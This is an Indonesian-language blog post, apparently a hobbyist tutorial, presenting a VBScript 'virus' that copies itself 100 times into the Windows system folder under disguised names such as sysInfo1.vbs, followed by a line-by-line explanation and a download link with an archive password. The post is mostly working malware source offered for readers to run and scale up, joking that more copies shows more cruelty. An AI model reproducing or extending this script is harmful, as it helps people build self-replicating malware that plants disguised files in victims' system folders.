MENGKOPI DIRI DENGAN JUMLAH RIBUAN BAHKAN JUTAAN

Kalau saya memelihara binatang ternak terus bisa beranak pinak sampai ribuan bahkan jutaan anaknya wah waaah bakalan kaya saya , gak usah kerja sama orang lain, apalagi disuruh-suruh sama atasan.Sayangnya binatang ternak paling banyak beranak paling-paling enam atau tujuh atau delapan ekor anaknya, tidak seperti virus vbs yang dapat beranak sampai banyak terserah yang buat maunya berapa.Disini saya hanya memberi contoh 100 saja, sobat blogger bisa menggantinya sesukanya semakin besar dan banyak berarti semakin menunjukkan tingkat kekejaman sobat blogger ( he he he becanda ).Nggak usah banyak cingcong langsung saja ke kode script.

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

for i=1 to 100

set c2vs=dendrif.CreateTextFile (win & "\sysInfo" & i & ".vbs")

c2vs.write c1vs

c2vs.close

next

msgbox"virus telah berhasil di kopi ke folder windows sebanyak 100 buah",vbinformation,"Tes virus..."

simpan script dengan nama contoh cloning.vbs, coba jalankan jreeeeeeeenng............!

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set win=dendrif.GetSpecialFolder(0) = pengambilan informasi folder window

for i=1 to 100 = untuk satu sampai seratus

set c2vs=dendrif.CreateTextFile (win & "\sysInfo" & i & ".vbs") = menset c2vs sebagai penghendel pengkopian virus ke folder windows sebanyak seratus buah file virus

c2vs.write c1vs = hasil kopian dituliskan code virus

c2vs.close = pengkopian selesai dan ditutup

next = berikutnya/setelah pengkopian yang kesatu selesai lanjut ke pengkopian yang kedua terus sampai seratus.

msgbox"virus telah berhasil di kopi ke folder windows sebanyak 100 buah",vbinformation,"Tes virus..." = menampilkan pesan kalau pengkopian virus ke folder windows sebanyak seratus file telah berhasil.

Berikut screenshotnya:

pengkloningan sebanyak 100 buah

download script
password = www.dendrif-deo.co.cc[clon]
semoga bermanfaat........  :D